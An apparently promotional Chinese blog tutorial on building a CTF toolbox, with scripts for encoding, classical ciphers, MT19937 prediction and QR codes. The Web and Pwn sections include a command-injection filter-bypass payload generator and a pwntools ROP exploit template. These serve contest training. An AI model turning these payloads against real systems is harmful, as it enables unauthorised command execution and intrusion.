简介:这份资源是面向CTF竞赛选手与网络安全学习者的内部工具集合,聚焦于密码学与杂项题型的快速解题需求。包内共92个文件,以23个java源码、16个jar可执行库、13个sample样例、4个png与4个fxml界面文件为主,另含pcap流量包、多语言资源文件及Git版本记录,压缩包整体约46.24MB,结构完整便于直接运行与二次开发。工具覆盖维吉尼亚密码暴力破解、曼彻斯特编码识别、USB流量分析、CRC32暴力破解以及zip伪加密破解等常见考点,同时提供多种编码解码与进制转换功能,适合备赛刷题、赛题复盘与工具链搭建。目前已有1945人学习下载,读者可借此获得一套可直接调用的CTF辅助工具集,快速验证思路、定位编码与加密线索,减少重复造轮子的时间成本。
1. 拆开“某战队内部专用CTF万能工具箱”:它到底装了什么,值不值得你照着搭一套
如果你打过几场 CTF 夺旗赛,大概率经历过这种场面:杂项题给了一张二维码,你手边没有顺手的解码脚本;密码学题甩来一段疑似 MT19937 的输出,你临时翻 GitHub 找轮子;Web 题卡在命令执行 passthru 的绕过上,你一边查 payload 一边怀疑人生。所谓“战队内部专用 CTF 万能工具箱”,本质就是把这类高频、零散、每次都要重新找的解题动作,固化成一个可复用、可离线、可扩展的本地工具集合。它不神秘,也不是什么外挂,核心价值只有一句话:把重复劳动压缩成一条命令,把散落的脚本收进一个目录。这篇文章面向三类人:刚入门 CTF、想搭自己第一套工具箱的新手;打了十几场、想系统化整理脚本的老手;以及带新人、想给战队沉淀一套标准环境的组织者。下面从目录结构、核心模块、参数配置一路讲到避坑和进阶,全部是可复现的实操路径。
2. 工具箱的目录骨架与模块划分:先想清楚放什么,再动手建
2.1 为什么“万能”工具箱必须先做减法
很多人第一次搭工具箱,恨不得把网上所有 CTF 工具全塞进去,结果目录乱成一锅粥,真到比赛时反而找不到东西。血泪经验是:工具箱的第一版一定要做减法,只放你最近三场比赛真正用过的工具。判断标准很简单——过去一个月里,你手动敲过两次以上的命令或脚本,才值得进工具箱。按 CTF 五大方向划分,常见做法是分成 crypto、misc、web、reverse、pwn 五个一级目录,外加一个 common 放通用编解码和文件处理。这样划分的好处是,当你拿到题目时,第一反应是“这题属于哪个方向”,然后直接进对应目录找脚本,而不是全局搜索。
一个可落地的目录骨架长这样:
ctf-toolbox/ ├── common/ # 通用:编码转换、文件识别、哈希 │ ├── encode.py # base64/hex/url/rot13 一把梭 │ └── fileid.sh # file + binwalk + exiftool 组合 ├── crypto/ # 密码学:古典密码、RSA、MT19937 │ ├── classical.py │ ├── rsa_tools.py │ └── mt19937.py ├── misc/ # 杂项:图片、二维码、流量、压缩包 │ ├── qrcode_tool.py │ ├── pcap_scan.py │ └── zip_crack.sh ├── web/ # Web:payload 生成、编码绕过 │ ├── payload_gen.py │ └── waf_bypass.md ├── reverse/ # 逆向:常用命令备忘、脚本 │ └── notes.md ├── pwn/ # Pwn:模板、gadget 查找 │ └── template.py └── README.md # 每个脚本一句话说明 + 用法示例这个结构的关键在于 README.md。别小看它,比赛时你脑子是懵的,README 里每个脚本配一行用法示例,能省下大量翻代码的时间。参数上没什么玄学,就是目录名用英文小写、脚本名见名知意、每个脚本头部写清楚依赖哪些库。我一般会在 common 里再放一个requirements.txt,把所有 Python 依赖列全,换机器时一条pip install -r requirements.txt就能恢复环境。
2.2 用一条命令完成环境初始化与依赖安装
工具箱能不能快速在新机器上跑起来,决定了它是不是真的“万能”。常见做法是写一个setup.sh,把依赖安装、目录权限、软链接一次性搞定。下面这个脚本是我常用的版本,逻辑清晰,新手也能直接抄:
#!/bin/bash # setup.sh - CTF 工具箱环境初始化 set -e # 任何一步失败就退出,避免半吊子环境 TOOLBOX_DIR="$(cd "$(dirname "$0")" && pwd)" echo "[*] 工具箱目录: $TOOLBOX_DIR" # 1. 安装系统级工具(Debian/Ubuntu 系) sudo apt-get update sudo apt-get install -y file binwalk exiftool foremost \ python3 python3-pip git unzip # 2. 安装 Python 依赖 pip3 install -r "$TOOLBOX_DIR/common/requirements.txt" # 3. 给所有 shell 脚本加执行权限 find "$TOOLBOX_DIR" -name "*.sh" -exec chmod +x {} \; # 4. 把工具箱加入 PATH(写入当前用户 bashrc) if ! grep -q "ctf-toolbox" ~/.bashrc; then echo "export PATH=\"\$PATH:$TOOLBOX_DIR/common\"" >> ~/.bashrc echo "[*] 已把 common 目录加入 PATH,重开终端生效" fi echo "[+] 初始化完成"逻辑说明:set -e保证出错即停,避免装了一半还以为成功;TOOLBOX_DIR用脚本自身路径推导,不写死绝对路径,换目录也能用;系统工具只装最基础的几个,binwalk和foremost用于杂项题的固件和文件 carving,exiftool看图片元数据。参数上,apt-get install -y的-y是自动确认,比赛前批量部署时省事,但如果你不确定装什么,可以先去掉-y逐条确认。最后把 common 目录加进 PATH,是为了让encode.py这类脚本在任何目录下都能直接调用,不用敲完整路径。
提示:
requirements.txt里建议锁定版本号,比如pycryptodome==3.20.0,避免某次pip install拉到不兼容的新版本导致脚本集体翻车。
2.3 通用编解码模块:把 base64/hex/url 揉进一个脚本
杂项和 Web 题里,编码转换出现频率极高。与其每次开 Python 交互式敲base64.b64decode,不如写一个统一入口。下面这个encode.py支持自动识别和指定模式两种用法:
#!/usr/bin/env python3 # encode.py - 通用编解码工具 import sys import base64 import binascii import urllib.parse import codecs def auto_decode(data: str): """按常见顺序尝试解码,返回第一个成功的结果""" data = data.strip() attempts = [ ("base64", lambda d: base64.b64decode(d + "=" * (-len(d) % 4)).decode("utf-8", "ignore")), ("hex", lambda d: binascii.unhexlify(d).decode("utf-8", "ignore")), ("url", lambda d: urllib.parse.unquote(d)), ("rot13", lambda d: codecs.decode(d, "rot_13")), ] for name, fn in attempts: try: result = fn(data) if result and result != data: return name, result except Exception: continue return None, data if __name__ == "__main__": if len(sys.argv) < 2: print("用法: encode.py <字符串> [模式]") print("模式: auto/base64/hex/url/rot13,默认 auto") sys.exit(1) raw = sys.argv[1] mode = sys.argv[2] if len(sys.argv) > 2 else "auto" if mode == "auto": name, out = auto_decode(raw) print(f"[{name or '未识别'}] {out}") else: # 指定模式时直接调用对应函数 funcs = { "base64": lambda d: base64.b64decode(d + "=" * (-len(d) % 4)).decode("utf-8", "ignore"), "hex": lambda d: binascii.unhexlify(d).decode("utf-8", "ignore"), "url": lambda d: urllib.parse.unquote(d), "rot13": lambda d: codecs.decode(d, "rot_13"), } print(funcs[mode](raw))逻辑说明:auto_decode按 base64、hex、url、rot13 的顺序依次尝试,谁先成功且结果和输入不同就返回谁。这里有个细节,base64 解码前要补=填充,-len(d) % 4就是算需要补几个等号。参数上,命令行第二个参数是模式,不填默认 auto。注意 auto 模式不是万能的,比如一段纯 hex 字符串也可能被 base64 误判,所以比赛时如果 auto 结果不对,手动指定模式更稳。这个脚本我一般放在 common 目录并加进 PATH,用的时候直接encode.py "aGVsbG8="就行。
注意:
decode("utf-8", "ignore")会丢弃无法解码的字节,如果题目 flag 里含非 UTF-8 字符,建议改成latin-1或直接输出 bytes,别让 ignore 把关键信息吃掉。
3. 密码学与杂项模块怎么落地:从古典密码到 MT19937 的实战脚本
3.1 古典密码与 RSA 常用脚本的参数怎么设
密码学题里,古典密码(凯撒、维吉尼亚、栅栏)和 RSA 是两大高频考点。古典密码的脚本核心是暴力枚举和词频分析,RSA 的核心是大数分解和低指数攻击。下面这个classical.py把凯撒和栅栏揉在一起,参数设计上留了枚举范围:
#!/usr/bin/env python3 # classical.py - 古典密码工具 import sys import string def caesar_brute(cipher: str): """暴力枚举 26 个偏移,打印所有结果""" for shift in range(26): plain = "" for ch in cipher: if ch.isalpha(): base = ord('A') if ch.isupper() else ord('a') plain += chr((ord(ch) - base - shift) % 26 + base) else: plain += ch print(f"shift={shift:2d}: {plain}") def rail_fence_decode(cipher: str, rails: int): """栅栏密码解密,rails 为栏数""" n = len(cipher) pattern = [] rail = 0 direction = 1 for i in range(n): pattern.append(rail) if rail == 0: direction = 1 elif rail == rails - 1: direction = -1 rail += direction # 按栏读取字符 result = [""] * n idx = 0 for r in range(rails): for i, p in enumerate(pattern): if p == r: result[i] = cipher[idx] idx += 1 return "".join(result) if __name__ == "__main__": mode = sys.argv[1] if mode == "caesar": caesar_brute(sys.argv[2]) elif mode == "rail": # 栏数不指定时枚举 2 到 10 cipher = sys.argv[2] rails_list = [int(sys.argv[3])] if len(sys.argv) > 3 else range(2, 11) for r in rails_list: print(f"rails={r}: {rail_fence_decode(cipher, r)}")逻辑说明:caesar_brute枚举 0 到 25 所有偏移,直接打印,人工扫一眼找可读文本即可,这是最省事的做法。rail_fence_decode先根据栏数生成每个位置的栏号 pattern,再按栏顺序把密文填回去。参数上,rail 模式如果不指定栏数,默认枚举 2 到 10,因为栅栏题栏数一般不会太大。这里有个踩坑点:栅栏密码的加密方式有“按行读”和“按列读”两种变体,如果解出来是乱码,把 pattern 生成逻辑反过来试一次,别死磕一个方向。
RSA 部分,常见做法是单独写一个rsa_tools.py,封装gmpy2的大数运算和sympy的分解。参数上重点设两个:一是e的值,e=3且明文短时优先试低指数攻击;二是n的位数,小于 512 位可以试factordb或yafu分解。这些工具的具体调用不在本文展开,但思路是:先看e,再看n能不能分解,最后才考虑共模、广播这些进阶攻击。
3.2 MT19937 预测:CTF 里最容易被忽视的“伪随机”坑
MT19937 是 Pythonrandom模块的底层算法,也是近年 CTF 密码学的热门考点。它的核心弱点在于:只要拿到连续 624 个 32 位输出,就能完整还原内部状态,之后所有输出都能预测。下面这个脚本演示如何用 624 个输出还原状态并预测下一个值:
#!/usr/bin/env python3 # mt19937.py - MT19937 状态还原与预测 # 依赖: pip install randcrack from randcrack import RandCrack def predict_mt19937(outputs): """ outputs: 长度为 624 的 32 位整数列表 返回: 预测的下一个 32 位输出 """ rc = RandCrack() for i, val in enumerate(outputs): rc.submit(val) if i == 623: break # 提交满 624 个后即可预测 return rc.predict_getrandbits(32) if __name__ == "__main__": # 示例:假设从题目拿到了 624 个输出 # 实际使用时替换成题目给的数据 sample = [0] * 624 # 占位,真实数据从题目读取 # 如果题目给的是 getrandbits(32),直接 submit # 如果给的是 randint(0, 255),需要按位拼接 next_val = predict_mt19937(sample) print(f"预测下一个输出: {next_val}")逻辑说明:RandCrack是专门为 CTF 写的 MT19937 状态还原库,submit满 624 个 32 位值后,predict_getrandbits(32)就能给出下一个输出。参数上最关键的是数据格式:如果题目给的是random.randint(0, 255),每个值只有 8 位,需要 4 个拼成一个 32 位再 submit;如果给的是getrandbits(32),直接 submit 即可。这里翻车最多的地方就是位宽没对齐,导致 submit 的数据其实是错的,预测自然全错。我一般会先写个小脚本确认题目输出的位宽,再决定怎么拼接。
提示:如果题目只给了部分输出,比如 600 个,那 624 个状态还原就不够用,需要考虑其他攻击面,比如种子爆破(种子是时间戳时)或利用
randint的取模偏差。别硬套 624 这个数字。
3.3 杂项里的图片、二维码与流量分析脚本
杂项题的花样最多,但高频动作就那么几个:图片隐写、二维码解码、流量包提取。下面这个qrcode_tool.py处理二维码的生成和识别,参数上支持从图片文件和从屏幕截图两种输入:
#!/usr/bin/env python3 # qrcode_tool.py - 二维码识别与生成 # 依赖: pip install pyzbar pillow qrcode import sys from PIL import Image from pyzbar.pyzbar import decode import qrcode def decode_qr(path: str): """从图片文件识别二维码,返回所有解码结果""" img = Image.open(path) results = decode(img) if not results: print("[-] 未识别到二维码") return for r in results: print(f"[+] 类型: {r.type}") print(f"[+] 内容: {r.data.decode('utf-8', 'ignore')}") def make_qr(data: str, out: str = "qrcode.png"): """生成二维码图片""" img = qrcode.make(data) img.save(out) print(f"[+] 已生成: {out}") if __name__ == "__main__": if sys.argv[1] == "decode": decode_qr(sys.argv[2]) elif sys.argv[1] == "make": make_qr(sys.argv[2], sys.argv[3] if len(sys.argv) > 3 else "qrcode.png")逻辑说明:decode用pyzbar识别,支持一张图里多个二维码;make用qrcode库生成。参数上,decode的输入是图片路径,如果二维码是反色或旋转的,pyzbar可能识别不了,这时需要先用 PIL 做反色或旋转预处理。流量分析方面,常见做法是用pcap_scan.py封装scapy,提取 HTTP 流和 DNS 查询,参数上重点设过滤条件,比如只看tcp.port == 80的流。这些脚本不用写得太复杂,能覆盖 80% 的常见题就够了,剩下的 20% 现场手写。
4. Web 与 Pwn 模块的实战配置:payload 生成与模板复用
4.1 命令执行 passthru 绕过的 payload 生成思路
Web 题里命令执行是重灾区,passthru、system、exec这些函数一旦可控,基本就是拿 shell 的节奏。但现实是题目往往加了过滤,比如禁了空格、禁了某些关键字。下面这个payload_gen.py把常见绕过手法做成可组合的生成器:
#!/usr/bin/env python3 # payload_gen.py - 命令执行绕过 payload 生成 import sys import urllib.parse def gen_bypass(cmd: str, level: int = 1): """ cmd: 想执行的命令,如 "cat /flag" level: 绕过等级,1=基础 2=空格绕过 3=关键字绕过 """ payloads = [] if level >= 1: payloads.append(cmd) if level >= 2: # 空格用 ${IFS} 或 %09 替代 payloads.append(cmd.replace(" ", "${IFS}")) payloads.append(cmd.replace(" ", "%09")) payloads.append(cmd.replace(" ", "<")) if level >= 3: # cat 用 tac、more、less 替代 for alt in ["tac", "more", "less", "head"]: payloads.append(cmd.replace("cat", alt)) # 关键字拼接绕过 payloads.append(cmd.replace("cat", "c'a't")) payloads.append(cmd.replace("cat", "c\\at")) return payloads if __name__ == "__main__": cmd = sys.argv[1] level = int(sys.argv[2]) if len(sys.argv) > 2 else 1 for p in gen_bypass(cmd, level): # 同时输出原始和 URL 编码版本 print(f"原始: {p}") print(f"编码: {urllib.parse.quote(p)}") print("-" * 40)逻辑说明:gen_bypass按等级生成不同绕过方式,level 1 是原始命令,level 2 处理空格过滤,level 3 处理关键字过滤。参数上,level默认 1,实际比赛时从 1 往上试,哪个通了用哪个。这里的关键是同时输出原始和 URL 编码版本,因为 Web 题传参经常需要 URL 编码。踩坑点在于${IFS}在某些 shell 里不生效,%09需要服务端先做 URL 解码,所以别只试一种,多试几个。
注意:
<作为空格替代只在特定命令下有效,比如cat<flag,不是所有场景都能用。别把它当万能钥匙。
4.2 Pwn 模板与 gadget 查找的固定流程
Pwn 题的解题流程高度固定:查保护、找偏移、找 gadget、构造 ROP 链。下面这个template.py是常用的 pwntools 模板,参数上把远程和本地切换做成命令行选项:
#!/usr/bin/env python3 # template.py - Pwn 题通用模板 from pwn import * import sys # 命令行参数: python3 template.py local / remote context.log_level = "debug" context.arch = "amd64" def start(): if len(sys.argv) > 1 and sys.argv[1] == "remote": return remote("target.ctf.com", 1337) else: return process("./chall") def exploit(): io = start() # 1. 接收初始输出 # io.recvuntil(b"input: ") # 2. 构造 payload offset = 40 # 需要根据题目调整 pop_rdi = 0x401233 # 需要根据题目调整 binsh = 0x404050 # 需要根据题目调整 payload = b"A" * offset payload += p64(pop_rdi) + p64(binsh) + p64(0x401100) # system 地址 # 3. 发送 io.sendlineafter(b"input: ", payload) io.interactive() if __name__ == "__main__": exploit()逻辑说明:start根据命令行参数决定连本地还是远程,exploit里留了偏移、gadget、system 地址三个占位符,实际用时替换。参数上,context.arch设成amd64或i386取决于题目架构,context.log_level = "debug"方便看交互细节,但正式打远程时可以改成info减少输出。gadget 查找用ROPgadget --binary ./chall | grep "pop rdi",这是固定动作,不用自己写脚本。踩坑点在于偏移量算错,常见做法是用cyclic 200生成模式串,跑崩后看rsp里的值,再用cyclic -l反查偏移。
5. 工具箱搭建与使用中的避坑清单:5 个真实翻车现场
5.1 脚本依赖版本冲突,比赛现场装不上
现象:本地跑得好好的脚本,换到比赛提供的环境里pip install报错,提示某个库版本不兼容。原因:requirements.txt没锁版本,或者比赛环境是离线内网,根本装不了。解决:一是所有依赖锁死版本号,二是提前把 wheel 包下载到工具箱的wheels/目录,用pip install --no-index --find-links=wheels/ -r requirements.txt离线安装。我一般会在赛前把常用库的 wheel 包备一份,尤其是pycryptodome、pwntools这种体积大的。
5.2 编码脚本 auto 模式误判,flag 被“解”没了
现象:用encode.py的 auto 模式解一段 hex,结果被 base64 抢先解出一堆乱码,真正的 hex 结果没出来。原因:auto 模式的尝试顺序是固定的,base64 对很多字符串都能“成功”解码(因为容错),导致误判。解决:auto 模式只作为快速试探,一旦结果不可读,立刻手动指定模式。更稳妥的做法是在 auto 里加一个可读性检查,比如解码结果中可打印字符占比低于 80% 就跳过。
5.3 MT19937 数据位宽没对齐,预测全错
现象:明明收集了 624 个输出,预测结果和实际下一个值完全对不上。原因:题目给的是randint(0, 255),每个值只有 8 位,直接 submit 相当于把 8 位当 32 位用,状态还原自然错。解决:先确认题目输出的位宽,8 位的每 4 个拼成一个 32 位,16 位的每 2 个拼一个,拼的时候注意大小端。这个坑我踩过不止一次,后来养成了先写个check_bitwidth小脚本的习惯。
5.4 命令执行绕过 payload 没做 URL 编码,服务端收不到
现象:本地测试通的 payload,打到远程没反应,日志里看到参数被截断。原因:payload 里的空格、$、&等字符在 URL 传输时被解析或截断。解决:所有 payload 在发送前统一做 URL 编码,payload_gen.py里已经同时输出原始和编码版本,用编码版本发。另外注意,如果题目是 POST 表单,编码方式可能不同,需要按application/x-www-form-urlencoded处理。
5.5 工具箱目录没做版本管理,改乱了回不去
现象:比赛前临时改了一个脚本,结果改出 bug,想回退发现没有备份。原因:工具箱目录没有纳入 git 管理,或者 git 仓库里混入了大文件(比如 pcap 样本)导致提交困难。解决:工具箱用 git 管理,.gitignore里排除*.pcap、*.zip、wheels/这些大文件,只跟踪脚本和配置。每次比赛前打一个 tag,比如git tag game-2025-summer,出问题随时git checkout回退。这是后悔药,别省。
6. 让工具箱真正“万能”的进阶技巧:自动化与验证
工具箱搭到一定程度,就该考虑自动化了。我常用的一个技巧是写一个run.py入口,根据题目类型自动调用对应模块。比如拿到一个文件,先跑fileid.sh识别类型,如果是图片就自动跑qrcode_tool.py和exiftool,如果是压缩包就自动跑zip_crack.sh。这样能把“拿到题目先干什么”这个决策也固化下来,减少现场思考成本。
验证工具箱是否可靠,有个简单方法:找几道往年的入门题,从零开始只用工具箱里的脚本解一遍,记录每一步用了哪个脚本、参数是什么、有没有卡住。如果某道题卡住了,说明工具箱缺了对应模块,补上。这个“回归测试”我一般赛前一周做一次,用 3 到 5 道题就够,能发现大部分环境问题和脚本 bug。
下面这个run.py是自动化入口的简化版,核心是根据文件类型分发:
#!/usr/bin/env python3 # run.py - 工具箱自动化入口 import sys import subprocess import os TOOLBOX = os.path.dirname(os.path.abspath(__file__)) def identify(path): """用 file 命令识别文件类型""" result = subprocess.run(["file", "-b", path], capture_output=True, text=True) return result.stdout.strip() def dispatch(path): ftype = identify(path) print(f"[*] 文件类型: {ftype}") if "image" in ftype.lower() or "png" in ftype.lower() or "jpeg" in ftype.lower(): print("[*] 尝试二维码识别...") subprocess.run(["python3", f"{TOOLBOX}/misc/qrcode_tool.py", "decode", path]) print("[*] 查看元数据...") subprocess.run(["exiftool", path]) elif "zip" in ftype.lower() or "archive" in ftype.lower(): print("[*] 尝试压缩包处理...") subprocess.run(["bash", f"{TOOLBOX}/misc/zip_crack.sh", path]) elif "pcap" in ftype.lower() or "tcpdump" in ftype.lower(): print("[*] 尝试流量分析...") subprocess.run(["python3", f"{TOOLBOX}/misc/pcap_scan.py", path]) else: print("[*] 未匹配到自动流程,请手动分析") if __name__ == "__main__": if len(sys.argv) < 2: print("用法: run.py <文件路径>") sys.exit(1) dispatch(sys.argv[1])逻辑说明:identify调file -b拿文件类型,dispatch根据类型分发到不同模块。参数上,-b是只输出类型描述,不带文件名,方便字符串匹配。这个脚本的价值在于把“拿到文件先跑什么”变成一条命令,新手也能快速上手。当然,自动分发不可能覆盖所有情况,匹配不到就手动分析,别指望它全自动。
最后说个我自己的习惯:工具箱里的每个脚本,我都会在文件头写三行注释——用途、依赖、用法示例。别嫌麻烦,三个月后你自己都记不清某个脚本是干嘛的。工具箱不是一次搭完就完事,它是跟着你打的每一场比赛慢慢长出来的。希望帮到你。
本文还有配套的精品资源,点击获取